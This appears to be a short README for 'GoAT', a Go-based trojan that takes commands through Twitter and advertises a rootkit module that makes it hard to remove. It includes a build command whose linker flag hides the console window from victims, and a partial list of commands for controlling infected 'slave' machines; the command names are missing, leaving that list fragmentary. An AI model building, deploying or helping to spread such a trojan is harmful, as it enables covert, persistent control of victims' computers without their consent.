Golang Advanced Trojan is a trojan created in Go, using Twitter as a the C&C server. GoAT has some very unique and impressive capabilities, including multithreaded command execution and a sophisticated self defence rootkit module (written in C). If you're not familiar with malware, please do not run this program on yourself. It's very hard to remove once it is insalled.


- Logs message to slave console

- Closes GoAT

- Does nothing. Use this command if you don't want slaves to execute anything upon connecting.


Compile with

go build -o GoAT.exe -ldflags "-H windowsgui" "C:\GoAT.go"
to have no console show.
